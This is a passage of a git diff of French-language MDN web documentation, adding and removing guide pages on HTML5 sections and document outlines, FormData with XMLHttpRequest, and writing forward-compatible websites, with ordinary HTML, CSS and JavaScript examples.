+    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.</p>
+  </section>
+
+  <aside>
+    <p>bloc publicitaire</p>
+  </aside>
+
+</section>
+
+<footer>
+  <p>(c) 2010 La société Exemple</p>
+</footer>
+
+ +

Cela conduit à la structure suivante :

+ +
1. Les éléphants de forêt
+  1.1 Introduction
+  1.2 Habitat
+  1.3 Section (aside)
+ +

Définition des en-têtes en HTML5

+ +

Bien que les éléments de sectionnement HTML définissent la structure du document, un plan a également besoin de titres pour être utile. La règle de base est simple : le premier élément de titre HTML (l'un des {{HTMLElement ("h1")}}, {{HTMLElement ("h2")}}, {{HTMLElement ("h3")}}, {{HTMLElement ("h4")}}, {{HTMLElement ("h5")}}, {{HTMLElement ("h6")}}) définit le titre de la section courante.

+ +

Les éléments de titre ont un rang donné par le nombre dans le nom de l'élément, où {{HTMLElement ("h1")}} a le rang le plus élevé et {{HTMLElement ("h6")}} a le rang le plus bas. Le classement relatif ne compte que dans une section ; la structure des sections détermine le plan, et non pas le rang des titres de sections. Par exemple, ce code :

+ +
<section>
+  <h1>éléphants de forêt</h1>
+
+  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…</p>
+
+  <section>
+    <h2>Habitat</h2>
+
+    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux.
+       Ce paragraphe continue…</p>
+  </section>
+</section>
+
+<section>
+  <h3>Gerbilles de Mongolie</h3>
+
+  <p>Dans cet article, nous discutons des célèbres gerbilles mongoles.
+     Cette section continue…
+</section>
+ +

conduit à la structure suivante :

+ +
1. Les éléphants de forêt
+  1.1 Habitat
+2. Gerbilles de Mongolie
+ +

Notez que le rang de l'élément titre (dans l'exemple {{HTMLElement ("h1")}} pour la première section de niveau supérieur, {{HTMLElement ("h2")}} pour la sous-section et {{HTMLElement ("h3")}} pour la seconde section de haut niveau) n'est pas important. Tout rang peut être utilisé comme en-tête d'une section explicitement définie, bien que cette pratique ne soit pas recommandée.

+ +

Découpage implicite

+ +

Parce que les éléments de sectionnement HTML5 ne sont pas obligatoires pour définir la structure, pour conserver la compatibilité avec le Web existant dominé par HTML4, il existe un moyen de définir des sections sans eux. C'est ce qu'on appelle le découpage implicite.

+ +

Les éléments de titre HTML ({{HTMLElement ("h1")}} à {{HTMLElement ("h6")}}) définissent une nouvelle section, implicite, quand ils ne sont pas le premier en-tête de leurs sections ascendantes, explicites. La façon dont cette section implicite est positionnée dans la structure est définie par son rang par rapport au titre précédent dans leur section ascendante. Si elle est d'un rang inférieur à l'en-tête précédent, il ouvre une sous-section implicite de la section. Ce code :

+ +
<section>
+  <h1>éléphants de forêt</h1>
+
+  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…
+
+  <h3 class="implicit subsection">Habitat</h3>
+
+  <p>Les éléphants de forêt <p> ne vivent pas dans les arbres mais parmi eux.
+     Ce paragraphe continue…
+</section>
+ +

conduit à la structure suivante :

+ +
1. Les éléphants de forêt
+  1.1 Habitat (implicitement défini par l'élément h3)
+ +

Si elle est de même rang que le titre précédent, elle ferme la section précédente (qui peut avoir été explicite !) et en ouvre une nouvelle implicite de même niveau :

+ +
<section>
+  <h1>Éléphants de forêt</h1>
+
+  <p>Dans cette section, nous discutons des éléphants de forêt moins connus.
+     Cette section continue…
+
+  <h1 class="implicit section">Gerbilles de Mongolie</h1>
+
+  <p>Les gerbilles de Mongolie sont mignons petits mammifères.
+     Cette section continue…
+</section>
+ +

conduit à la structure suivante :

+ +
1. Les éléphants de forêt
+2. Gerbilles de Mongolie (implicitement défini par l'élément h1, qui a fermé la section précédente dans le même temps)
+ +

Si elle est d'un rang supérieur au titre précédent, elle ferme la section précédente et en ouvre une nouvelle implicite de niveau supérieur :

+ +
<body>
+  <h1>Mammifères</h1>
+
+  <h2>Baleines</h2>
+
+  <p>Dans cette section, nous discutons de baleines géantes.
+     Cette section continue…
+
+  <section>
+    <h3>Éléphants de forêt</h3>
+
+    <p>Dans cet article, nous discutons des éléphants de forêt moins connus.
+       Cette section continue…
+
+    <h3>Gerbilles de Mongolie</h3>
+
+    <p>Hordes de gerbilles ont étalé leur gamme bien au-delà Mongolie.
+       Ce paragraphe continue…
+
+    <h2>Reptiles</h2>
+
+    <p>Reptiles sont des animaux à sang froid.
+       Ce paragraphe continue…
+  </section>
+</body>
+ +

conduit à la structure suivante :

+ +
1. Mammifères
+  1.1 Baleines (défini implicitement par l'élément h2)
+  1.2 éléphants de forêt (défini explicitement par l'élément section)
+  1.3 Gerbilles de Mongolie (défini implicitement par l'élément h3 qui ferme la section précédente en même temps)
+2. Reptiles (défini implicitement par l'élément h2 qui ferme la section précédente en même temps)
+
+ +

Ce n'est pas la structure à laquelle on pourrait s'attendre en jetant un coup d'œil rapide sur le balisage. Pour rendre votre balisage humainement compréhensible, il est bon d'utiliser des balises explicites pour ouvrir et fermer les sections, et de faire correspondre les niveaux des titres avec le niveau d'imbrication désiré de la section. Toutefois, cela n'est pas exigé par la spécification HTML5. Si vous trouvez que les navigateurs rendent de façon inattendue le plan de votre document, vérifiez que vos sections sont implicitement fermées par des éléments d'en-tête.

+ +

Une exception à cette règle générale – qui veut que rang du titre devrait correspondre au niveau d'imbrication de la section – concerne les sections qui peuvent être réutilisées dans d'autres documents. Par exemple, une section peut être stockée dans un système de gestion de contenu et assemblée dans des documents au moment de l'exécution. Dans ce cas, une bonne pratique consiste à commencer par {{HTMLElement ("h1")}} pour le titre de niveau supérieur de la section réutilisable. Le niveau d'imbrication de la section réutilisable sera déterminé par la hiérarchie des sections du document dans lequel elle apparaît. Les balises de section explicites sont toujours utiles dans ce cas.

+ +

Racines de sectionnement

+ +

Une racine de sectionnement est un élément HTML qui peut avoir son propre plan, mais les sections et les titres qu'elle contient ne contribuent pas à la structure de son ascendant. À côté de {{HTMLElement ("body")}}, qui est la racine logique de sectionnement d'un document, il y a souvent des éléments qui introduisent du contenu externe à la page : {{HTMLElement ("blockquote")}}, {{HTMLElement ("details")}}, {{HTMLElement ("fieldset")}}, {{HTMLElement ("figure")}} et {{HTMLElement ("td")}}.

+ +

Exemple

+ +
<section>
+  <h1>Éléphants de forêt</h1>
+  <section>
+    <h2>Introduction</h2>
+    <p>Dans cette section, nous discutons des éléphants de forêt moins connus.</p>
+  </section>
+  <section>
+    <h2>Habitat</h2>
+    <p>Les éléphants de forêt ne vivent pas dans les arbres mais parmi eux. Regardons ce que les scientifiques disent dans «&nbsp;<cite> l'éléphant de forêt à Bornéo </cite>&nbsp;»&nbsp;:
+    <blockquote>
+      <h1>Bornéo</h1>
+      <p>L'éléphant de la forêt vie à Bornéo…</p>
+    </blockquote>
+  </section>
+</section>
+
+ +

Cet exemple se traduit par la structure suivante :

+ +
1. Les éléphants de forêt
+  1.1 Introduction
+  1.2 Habitat
+ +

Cette structure ne contient pas le plan interne à l'élément {{HTMLElement ("blockquote")}}, qui, étant une citation externe, est une racine de sectionnement et isole sa structure interne.

+ +

Les sections externes à la structure

+ +

HTML5 introduit deux nouveaux éléments qui permettent de définir des sections ne faisant pas partie de la structure principale d'un document Web :

+ +
    +
  1. L'élément HTML de section ({{HTMLElement ("aside")}}) définit une section qui, bien que liée à l'élément principal, ne fait pas partie du flux principal, comme une boîte d'information ou une publicité. Il dispose de son propre plan, mais il n'appartient pas au plan principal.
    2. +
  2. L'élément HTML de section ({{HTMLElement ("nav")}}) définit une section qui contient les liens de navigation. Il peut y en avoir plusieurs dans un document, par exemple, un avec des liens internes à la page, comme une table des matières, et un autre avec des liens de navigations dans le site. Ces liens ne font pas partie du flux principal et du plan, et généralement peut ne pas être initialement rendu par le lecteur d'écran et les technologies d'assistance similaires.
    3. +
+ +

Headers and Footers

+ +

HTML5 présente également deux nouveaux éléments qui peuvent être utilisés pour marquer l'en-tête et le pied de page d'une section :

+ +
    +
  1. L'élément HTML de titre de section ({{HTMLElement ("header")}}) définit l'en-tête d'une page, contenant généralement le logo et le nom du site et, éventuellement, un menu horizontal. Malgré son nom, il n'est pas nécessairement placé au début de la page.
    2. +
  2. L'élément HTML de pied de section ({{HTMLElement ("footer")}}) définit un pied-de-page, contenant généralement les mentions légales et parfois quelques liens. Malgré son nom, il n'est pas nécessairement placé dans le bas de la page.
    3. +
+ +

Ceux-ci ne créent pas de nouvelles sections dans la structure, mais ils marquent le contenu dans les sections de la page.

+ +

Adresses dans les éléments de sectionnement

+ +

L'auteur d'un document veut souvent publier des informations de contact, le nom de l'auteur tel et son adresse. HTML4 le permet grâce à cet l'élément {{HTMLElement ("address")}}, qui a été prolongé en HTML5.

+ +

Un document peut être fait de différentes sections de différents auteurs. Une section d'un autre auteur que celui de la page principale est définie en utilisant l'élément {{HTMLElement ("article")}}. Par conséquent, l'élément {{HTMLElement ("address")}} est désormais lié à son {{HTMLElement ("body")}} ou à l'ancêtre {{HTMLElement ("article")}} le plus proche.

+ +

Utilisation des éléments HTML5 dans les navigateurs Non-HTML5

+ +

Les articles et les éléments en-têtes devraient fonctionner dans la plupart des navigateurs non HTML5. Bien que non pris en charge, ils n'ont pas besoin d'une interface spéciale DOM et ils n'ont besoin que d'un style CSS spécifique comme des éléments inconnus sont aménagés comme display: inline par défaut:

+ +
section, article, aside, footer, header, nav, hgroup {
+  display: block;
+}
+ +

Bien sûr, le développeur web peut styliser différemment, mais gardez à l'esprit que dans un navigateur non HTML5, le style par défaut est différent de ce qui est attendu de ces éléments. Notez également que le {{HTMLElement ("time")}} élément n'a pas été inclus, car le style par défaut pour elle dans un navigateur non HTML5 est le même que celui de l'une HTML5 compatible.

+ +

Cette méthode a ses limites si, comme certains navigateurs ne permettent pas de style des éléments non pris en charge. C'est le cas d'Internet Explorer (version 8 et versions antérieures), qui ont besoin d'un script spécifique pour permettre à celle-ci :

+ +
<!--[if lt IE 9]>;
+  <script>
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement("time");
+  </script>
+<![endif]-->
+ +

Ce script signifie que, dans le cas d'Internet Explorer (8 et antérieures), les scripts doivent être activés pour pouvoir afficher HTML5 et les éléments de sectionnement titres correctement. Sinon, ils ne seront pas affichés, ce qui peut être problématique, car ces éléments sont susceptibles de définir la structure de la page entière. C'est pourquoi un élément {{HTMLElement ("NoScript")}} explicite devrait être ajouté pour ce cas :

+ +
<noscript>
+  <p><strong>Attention, cette page Web nécessite que JavaScript soit activé !</strong></p>
+  <p>JavaScript est un langage de programmation couramment utilisé pour créer des effets intéractifs dans les navigateurs Web.</p>
+  <p>Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.</p>
+  <p><a href="https://goo.gl/koeeaJ">Comment activer JavaScript ?</a></p>
+</noscript>
+ +

Cela conduit au code ci-dessous pour permettre la prise en charge des éléments de sections et d'en-têtes HTML5 dans les navigateurs non HTML5, même pour Internet Explorer (8 et antérieur), avec un retour correct pour le cas où ce dernier est configuré pour ne pas autoriser les scripts :

+ +
<!--[if lt IE 9]>
+  <script>
+    document.createElement("header");
+    document.createElement("footer");
+    document.createElement("section");
+    document.createElement("aside");
+    document.createElement("nav");
+    document.createElement("article");
+    document.createElement("hgroup");
+    document.createElement ("time");
+  </script>
+<![endif]-->
+  <noscript>
+    <p><strong>Attention, cette page Web nécessite que JavaScript soit activé !</strong></p>
+    <p>JavaScript est un langage de programmation couramment utilisé pour créer des effets interactifs dans les navigateurs Web.</p>
+    <p>Malheureusement, il est désactivé dans votre navigateur. Veuillez l'activer pour afficher cette page.</p>
+    <p><a href="https://goo.gl/koeeaJ">Comment activer JavaScript ?</a></p>
+  </noscript>
+
+ +
+

Cependant, pour des raisons d’accessibilité, un site devrait toujours pouvoir être consultable en l’absence de Javascript.

+
+ +

Conclusion

+ +

Les nouveaux éléments sémantiques introduits en HTML5 apportent la capacité de décrire la structure et le plan d'un document web d'une manière standard. Ils apportent un grand avantage pour les utilisateurs de navigateurs HTML5 et qui ont besoin de la structure pour les aider à comprendre la page, par exemple, les utilisateurs de technologies d'assistance. Ces nouveaux éléments sémantiques sont simples à utiliser et, avec très peu d'efforts, ils peuvent également être mis en œuvre dans les navigateurs ne prenant pas en charge HTML5. Par conséquent, ils devraient être utilisés sans restriction.

+ +
{{HTML5ArticleTOC()}}
diff --git a/files/fr/web/guide/introduction_to_web_development/index.html b/files/fr/web/guide/introduction_to_web_development/index.html new file mode 100644 index 0000000000..97f1bc650f --- /dev/null +++ b/files/fr/web/guide/introduction_to_web_development/index.html @@ -0,0 +1,29 @@ +--- +title: Introduction au développement web +slug: Développement_Web/Introduction_au_développement_web +translation_of: Web/Guide/Introduction_to_Web_development +--- +

Que vous débutiez dans le domaine du développement web ou que vous désiriez élargir vos horizons, ces liens devraient vous aider.

+
+ Note : cette page n'est qu'une ébauche, nous aurions besoin de plus de contenu.
+ + + + + + + +
+

Sujets de documentation

+

Aucun article n'est encore disponible.

+ 		+

Ressources

+
+
+ Alsacréations
+
+ Tutoriels HTML, CSS, actualités et articles sur les standards du web.
+
+
+

 

+

{{ languages( { "en": "en/Web_development/Introduction_to_Web_development", "zh-tw": "zh_tw/Web_開發/Web開發入門" } ) }}

diff --git a/files/fr/web/guide/using_formdata_objects/index.html b/files/fr/web/guide/using_formdata_objects/index.html deleted file mode 100644 index 3d07259319..0000000000 --- a/files/fr/web/guide/using_formdata_objects/index.html +++ /dev/null @@ -1,141 +0,0 @@ ---- -title: Utiliser les objets FormData -slug: Web/Guide/Using_FormData_Objects -translation_of: Web/API/FormData/Using_FormData_Objects -translation_of_original: Web/Guide/Using_FormData_Objects ---- -

L'objet FormData vous permet de créer un ensemble de paires clef-valeur pour un envoi via XMLHttpRequest. Cet objet est destiné avant tout à l'envoi de données de formulaire, mais il peut être utilisé indépendamment des formulaires afin de transmettre des données associées à une clef. Les données transmises sont dans le même format qu'utiliserait la méthode submit() pour envoyer des données si le type d'encodage du formulaire correspondait à "multipart/form-data".

- -

Créer un objet FormData de zéro

- -

Vous pouvez créer un objet FormData en l'instanciant puis en lui ajoutant des champs au moyen de la méthode append(), comme ci-dessous :

- -
var formData = new FormData();
-
-formData.append("username", "Groucho");
-formData.append("accountnum", 123456); // le nombre 123456 est immédiatement converti en la chaîne "123456"
-
-// Choix de l'utilisateur à partir d'un input HTML de type file...
-formData.append("userfile", fileInputElement.files[0]);
-
-// Pseudo-objet fichier JavaScript...
-var content = '<a id="a"><b id="b">hey!</b></a>'; // le corps du nouveau fichier...
-var blob = new Blob([content], { type: "text/xml"});
-
-formData.append("webmasterfile", blob);
-
-var request = new XMLHttpRequest();
-request.open("POST", "http://foo.com/submitform.php");
-request.send(formData);
-
- -
Remarque : les champs "userfile" et "webmasterfile" contiennent tous les deux un fichier. Le nombre assigné au champ "accountnum" est immédiatement converti en une chaîne de caractères par la méthode FormData.append()  (la valeur du champ peut être soit un {{ domxref("Blob") }}, soit un {{ domxref("File") }}, ou encore une chaîne de caractères : si la valeur n'est ni un objet Blob ni un objet File, la valeur est convertie en une chaîne de caractères).
- -

Cet exemple crée une instance de FormData contenant des valeurs pour les champs nommés "username", "accountnum", "userfile" et "webmasterfile", puis utilise la méthode send() de XMLHttpRequest pour envoyer les données du formulaire. Le champ "webmasterfile" est un Blob. Un objet Blob représente un pseudo-objet fichier de données brutes et immuables. Les Blobs représentent des données qui ne sont pas forcément dans un format natif de JavaScript. L'interface {{ domxref("File") }} est basée sur le Blob, héritant des fonctionnalités du blob et l'étendant afin de supporter les fichiers système de l'utilisateur. Afin de construire un Blob, vous pouvez invoquer le constructeur Blob.

- -

Récupérer un objet FormData à partir d'un formulaire

- -

Pour construire un objet FormData qui contient les données d'un {{ HTMLElement("form") }} existant, il suffit de spécifier cet élément formulaire lors de la création de l'objet FormData :

- -
var formData = new FormData(someFormElement);
-
- -

Par exemple :

- -
var formElement = document.getElementById("myFormElement");
-var request = new XMLHttpRequest();
-request.open("POST", "submitform.php");
-request.send(new FormData(formElement));
-
- -

Vous pouvez également ajouter des données additionnelles à l'objet FormData après l'avoir extrait d'un formulaire et avant son envoi, comme ceci :

- -
var formElement = document.getElementById("myFormElement");
-formData = new FormData(formElement);
-formData.append("serialnumber", serialNumber++);
-request.send(formData);
- -

Cela vous permet de compléter les données du formulaire avant de les envoyer, en incluant des informations additionnelles qui ne sont pas nécessairement accessibles à l'utilisateur dans le formulaire.

- -

Envoyer des fichiers avec un objet FormData

- -

Vous pouvez aussi envoyer des fichiers en utilisant FormData. Il suffit d'inclure un élément {{ HTMLElement("input") }} de type "file" :

- -
<form enctype="multipart/form-data" method="post" name="fileinfo">
-  <label>Your email address:</label>
-  <input type="email" autocomplete="on" autofocus name="userid" placeholder="email" required size="32" maxlength="64" /><br />
-  <label>Custom file label:</label>
-  <input type="text" name="filelabel" size="12" maxlength="32" /><br />
-  <label>File to stash:</label>
-  <input type="file" name="file" required />
-  <input type="submit" value="Stash the file!" />
-</form>
-<div id="output"></div>
-
- -

Vous pouvez ensuite l'envoyer en utilisant un code semblable à celui-ci :

- -
var form = document.forms.namedItem("fileinfo");
-form.addEventListener('submit', function(ev) {
-
-  var
-    oOutput = document.getElementById("output"),
-    oData = new FormData(document.forms.namedItem("fileinfo"));
-
-  oData.append("CustomField", "This is some extra data");
-
-  var oReq = new XMLHttpRequest();
-  oReq.open("POST", "stash.php", true);
-  oReq.onload = function(oEvent) {
-    if (oReq.status == 200) {
-      oOutput.innerHTML = "Uploaded!";
-    } else {
-      oOutput.innerHTML = "Error " + oReq.status + " occurred uploading your file.<br \/>";
-    }
-  };
-
-  oReq.send(oData);
-  ev.preventDefault();
-}, false);
-
- -
-

Remarque : si vous passez une référence au formulaire, la méthode spécifiée dans le formulaire sera utilisée en remplacement de celle précisée dans l'appel à open().

-
- -
-

Remarque : Cet exemple redirige les données en sortie vers un script PHP sur le serveur, et gère les erreurs HTTP, quoique d'une manière peu élégante.

-
- -

Vous pouvez aussi ajouter un {{ domxref("File") }} ou un  {{ domxref("Blob") }} directement à l'objet {{ domxref("XMLHttpRequest/FormData", "FormData") }}, comme ceci :

- -
data.append("myfile", myBlob, "filename.txt");
-
- -

Lorsque la méthode append est utilisée, il est possible de renseigner le troisième paramètre optionnel pour passer un nom de fichier à l'en-tête Content-Disposition qui est envoyée au serveur. Si aucun nom de fichier n'est spécifié (ou si le paramètre n'est pas supporté,) le nom "blob" est utilisé.

- -

Vous pouvez aussi utiliser FormData avec jQuery si vous configurez les bonnes options :

- -
var fd = new FormData(document.getElementById("fileinfo"));
-fd.append("CustomField", "This is some extra data");
-$.ajax({
-  url: "stash.php",
-  type: "POST",
-  data: fd,
-  processData: false,  // indique à jQuery de ne pas traiter les données
-  contentType: false   // indique à jQuery de ne pas configurer le contentType
-});
-
- -

Soumettre des formulaires et téléverser des fichiers via AJAX sans objets FormData

- -

Si vous souhaitez savoir comment sérialiser et soumettre via AJAX un formulaire sans utiliser d'objets FormData, veuillez consulter ce paragraphe.

- -

Voir aussi

- - diff --git a/files/fr/web/guide/writing_forward-compatible_websites/index.html b/files/fr/web/guide/writing_forward-compatible_websites/index.html new file mode 100644 index 0000000000..f1005a2ace --- /dev/null +++ b/files/fr/web/guide/writing_forward-compatible_websites/index.html @@ -0,0 +1,137 @@ +--- +title: Développer des sites à compatibilité descendante +slug: Développement_Web/Développer_des_sites_à_compatibilité_descendante +tags: + - NeedsEditorialReview + - NeedsTechnicalReview +translation_of: Web/Guide/Writing_forward-compatible_websites +--- +

Cette page explique comment développer des sites qui continuent de fonctionner au fur et à mesure des mises à jour des navigateurs.

+ +

C'est d'autant plus important pour les intranets et autres sites non-publics; s'il n'est pas possible de voir votre site, il ne nous est pas possible de voir s'il est cassé. Il ne nous est pas toujours possible de suivre tous les sites, mais en suivre autant que possible permet d'en assurer la pérennité.

+ +

JavaScript

+ +

Préfixez tous les accès à des variables globales dans les attributs onfoo par “window.”

+ +
Quand un attribut de gestion d'évenement (onclick, onmouseover, etc) est utilisé sur un élément HTML, toutes les résolutions de variable dans l'attribut sont d'abord résolues sur l'élément lui-même, puis sur le formulaire contenant l'élément (si c'est un élément de formulaire), puis sur document, puis finalement sur window (là où se trouvent les variables globales que vous avez définies).Par exemple, si vous avez le balisage suivant :
+ +
<div onclick="alert(ownerDocument)">Cliquez moi</div>
+ +

Alors cliquer sur le texte affichera le ownerDocument du div. Il en sera toujours ainsi, même s'il y a une var ownerDocument déclarée dans l'espace de visibilité global.

+ +

Cela signifie qu'à chaque fois que vous accédez à une variable (ou une fonction) globale dans un attribut de gestion d'évenement vous pouvez vous retrouver avec une collision de nom. Il suffit pour cela qu'une nouvelle specification ajoute une nouvelle propriété DOM aux éléments, et que cette propriété porte le même nom que votre variable ou fonction.
+ Si cela arrive, alors soudainement votre function ne sera plus appellée. Ceci est déjà arrivé de nombreuses fois à de multiples sites durant la phase d'évolution d'HTML5.

+ +

Pour éviter ce problème, qualifiez complétement vos variables globales en utilisant window., comme ceci :

+ +
<script>
+  function nomLocal() {
+    alert('La fonction nomLocal a été appellée.');
+  }
+</script>
+<div onclick="window.nomLocal()">Cliquer ici devrait faire apparaitre un message.<div>
+
+ +

Ne concatenez pas les scripts dont vous n'avez pas le contrôle.

+ +

En ECMAScript, la directive "use strict;" s'applique sur la totalité du fichier. Ainsi, ajouter un script qui dépends d'un comportement non-strict à la suite d'un script en mode strict risque fortement de générer des erreurs.

+ +

Demandez aux auteurs des bibliothèques Javascript que vous utilisez de suivre ces recommandations.

+ +

Suggérez aux développeurs de vos bibliothèques favorites de suivre ces recommendations. S'ils ne le font pas, vous n'avez pas l'assurance que la bibliothèque continue de fonctionner dans le futur. Malheureusement, les bibliothèques suivent rarement ces conseils.

+ +

Détection

+ +

Détecter des fonctionnalités particulières

+ +

Si vous avez l'intention d'utiliser une fonctionnalité en particulier, utilisez autant que possible la détection d'objet pour détecter cette fonctionnalité particulière. Par exemple, ne considérez pas que si dans un navigateur "filter" in body.style s'évalue à true, alors forcément ce navigateur doit être Internet Explorer et que donc cela signifie qu'il possède un objet window.event disponible dans les gestionnaires d'évenement. 

+ +

De manière générale, ne considérez pas que si un navigateur supporte une certaine fonctionnalité DOM, alors il doit forcément en supporter une autre, particulièrement si elle est non standard. Ou, à l'inverse, que s'il ne supporte pas une autre fonctionnalité, alors il n'en supportera pas non plus une autre. Par exemple, ce n'est pas parce qu'un navigateur supporte onload sur les éléments scripts alors cela signifie qu'il ne supportera jamais onreadystatechange sur ces mêmes éléments.

+ +

Les comportement des navigateurs convergent de plus en plus: des fonctionnalités sont ajoutées, supprimées, des bugs sont corrigés. Tout ceci arrive regulièrement et arrivera encore.

+ +

Ne cherchez donc pas à détecter une fonctionnalité ou un objet pour en déduire ensuite que parce qu'elle existe (ou non) alors telle ou telle autre fonctionnalité doit alors aussi exister (ou non).

+ +

Ne détectez pas l'agent utilisateur

+ +

Ceci est une sous-catégorie très particulière de l'exemple précédent. Il ne faut pas penser qu'une certaine fonctionnalité (la présence ou non d'une certaine chaine de caractères dans l'agent utilisateur -UA-) implique la présence ou l'absence d'autres fonctionnalités.

+ +

Si vous devez détecter l'agent utilisateur, alors ne détectez que pour les anciennes versions.

+ +

Si vous devez vraiment détecter l'agent utilisateur, alors ne l'utilisez que pour cibler des versions déjà dépassées.
+ Tout d'abord, prévoyez toujours un chemin dans votre code pour les navigateurs que vous ne connaissez pas, ainsi que pour les versions courantes et futures des navigateurs avec lesquels vous avez testé votre site. Ensuite si ce chemin par défaut ne fonctionne pas dans certaines anciennes versions de certains navigateurs et uniquement si l'erreur ne peut pas être détectée par l'absence de fonctionnalités utilisées par votre chemin par défaut, alors il est raisonnable d'ajouter des hacks qui ne ciblent que ces anciennes versions de certains navigateurs, en recourant à la détection de l'agent utilisateur.

+ +

Pour les besoins de ce conseil, considérez que "version courante" signifie la dernière version du navigateur que vous avez testé. Par exemple, si vous avez testé le chemin par défaut de votre code dans Firefox Aurora mais que Firefox Beta et les dernières versions ont un bug qui font planter votre code, alors il est raisonnable de considérer le numero de version de Aurora au moment du test comme étant la "version courante", et considérer la version Beta comme une version "ancienne", même si elle n'est pas encore sortie pour le public.

+ +

Ne créez pas de chemin de code inutile pour une multitude de navigateurs différents

+ +
N'allez pas créer trop de branches de code différentes, qui s'executent en fonction de l'agent utilisateur ou de la détection de fonctionnalité si vous avez une branche de code qui fonctionne pour tous les navigateurs. Il y a de fortes chances pour que les navigateurs convergent vers un comportement commun, ce qui risque de casser les chemins alternatifs que vous auriez créés pour tel ou tel navigateur.
+ +

Test

+ +

Tester dans les navigateurs principaux

+ +

Testez votre code au moins sous Firefox, Chrome ou Safari (vu que les deux sont basés sur le même moteur WebKit), Opera et Internet Explorer. Si vous avez suivi le conseil donné précedemment à propos de l'unique branche de code pour toutes les versions de navigateurs (connues et inconnues), tester uniquement cette unique branche de code dans tous les navigateurs rends extremement probable le fait que votre code ne cassera pas dans le futur.

+ +

Parfois, plusieurs navigateurs implementent une certaine fonctionnalité de manière légérement différente. Si vous avez une unique branche de code qui tourne dans tous les navigateurs principaux, cela signifie que vous utilisez soit des fonctionnalités pour lesquelles les navigateurs ont un comportement identiques, ou, s'ils n'ont pas encore convergé vers un seul comportement, votre code fonctionnera quelque soit le comportement final qui sera utilisé par tous.

+ +

Prefixes et fonctionnalités propres à un certain navigateur

+ +

N'utilisez pas de hack pour cibler la version actuelle ou une version future d'un navigateur

+ +

Cela reviendrai à supposer que la corrélation actuelle entre plusieurs bugs implique une future corrélation entre ces mêmes bugs. Nous avons vu que cela n'était pas le cas.

+ +

Il est par contre acceptable de cibler d'anciennes versions du navigateur si votre hack repose sur un bug présent dans les anciennes versions et corrigé dans les versions actuelles. Une fois que le bug X a été corrigé d'un navigateur, vous pouvez savoir que toutes les versions qui avaient le bug X avaient aussi le bug Y, et vous pourrez ainsi vous servir de X pour cibler des cas particuliers pour le bug Y.

+ +

Dans ce cas, on considère par "actuelles" les versions les plus récentes du navigateur que vous avez testé, comme nous l'avons déjà évoqué dans le cas de la détection de l'agent utilisateur précédemment.

+ +

Evitez de dépendre de fonctionnalités non standard ultra récentes

+ +

Même si la fonctionnalitée est préfixée, l'utiliser peut être dangereux : au fur et à mesure de l'évolution de la spécification, l'implémentation préfixée du navigateur peut évoluer pour se rapprocher de la spécification. De plus, une fois la fonctionnalité standardisée, les versions prefixées seront vraisemblablement supprimées.

+ +

Les fonctionnalités non standard, prefixées, sont fournies par les développeurs de navigateurs pour vous permettre de les expérimenter et d'offrir vos remarques en retour. Elles ne sont pas censées être déployées. Si vous choisissez de les utiliser, préparez-vous à faire des mises à jour régulières de votre site pour rester à flot avec les changements.

+ +

Lorsque vous utilisez des fonctionnalités ultra récentes (même standards) qui ne sont pas encore implémentées partout, assurez-vous de tester les solutions de secours. Assurez-vous de tester ce qu'il se passe dans un navigateur qui n'implémente pas la fonctionnalité que vous utilisez, plus particulierement si vous ne l'utilisez pas régulièrement lors de l'élaboration de votre site.

+ +

N'utilisez pas les versions préfixées des fonctionnalités, à moins de cibler les anciennes versions

+ +

Le comportement des versions préfixées des fonctionnalités peut changer dans une future version. Néanmoins, dès lors qu'un navigateur est sorti avec une fonctionnalité non-prefixée, vous pouvez utiliser la version préfixée pour cibler les anciennes versions. Assurez-vous de toujours utiliser la version non-préfixée quand celle-ci est disponible.

+ +

Voici un exemple, pour un navigateur qui utilise le préfixe -vnd en CSS et qui a sorti une version non-prefixée de la propriété rends-moi-joli, avec un comportement défini pour la valeur "parfois" qui diffère de la valeur préfixée.

+ +
<style>
+  .joli-element {
+    -vnd-rends-moi-joli: parfois;
+    rends-moi-joli: parfois;
+  }
+</style>
+
+ +

L'ordre des déclarations dans la règle précédente est important : la version non préfixée doit apparaitre en dernier.

+ +

N'utilisez pas les versions non préfixées des propriétés CSS ou des APIs tant qu'au moins un navigateur ne les ont pas implémentées

+ +

Tant que le support d'une version non préfixée d'une fonctionnalité n'est pas généralisé auprès des navigateurs, son comportement peut encore changer de manière radicale. Plus particulièrement, n'utilisez pas les versions non préfixées si aucun navigateur ne les implémente. Vous ne pouvez même pas être sûr que la syntaxe de la version finale sera la même que la syntaxe utilisée dans l'une des version préfixées.

+ +

Hygiène de code

+ +

Evitez les > manquants

+ +

Passer votre code au validateur est un bon moyen de s'assurer de cela. Mais même si votre site ne valide pas complétement, vous devriez vous assurer que tous vos caractères > sont présents.
+ S'ils manquent, cela peut vous amener à des situations où un nom de balise est interprété comme un attribut d'une balise précédente. Cela peut sembler fonctionner pendant quelques temps, mais finira par casser si une spécification future défini un sens à cet attribut. 

+ +

Voici un exemple qui fonctionne dans les navigateurs ne possédant pas le support du HTML5, mais est cassé dans un navigateur le supportant :

+ +
<form action="http://www.exemple.com">
+  <input type="submit" value="Soumettre le formulaire"
+</form>
+
+ +

à cause du > manquant sur la balise input.

+ +

Ne laissez pas de tests qui ne fonctionnent pas dans votre code

+ +

Si vous essayez d'utiliser une propriété CSS, mais que celle-ci n'a pas d'effet, supprimez-la. Elle pourrait se mettre à avoir un effet que vous n'attendiez pas du tout dans une version future.

+ +

{{ languages( {"en":"en/Web_development/Writing_forward-compatible_websites" } ) }}

diff --git a/files/fr/web/html/appliquer_des_couleurs/index.html b/files/fr/web/html/appliquer_des_couleurs/index.html deleted file mode 100644 index 58015bad66..0000000000 --- a/files/fr/web/html/appliquer_des_couleurs/index.html +++ /dev/null @@ -1,506 +0,0 @@ ---- -title: Appliquer des couleurs sur des éléments HTML grâce à CSS -slug: Web/HTML/Appliquer_des_couleurs -tags: - - CSS - - Débutant - - Guide - - HTML -translation_of: Web/HTML/Applying_color ---- -
{{HTMLRef}}
- -

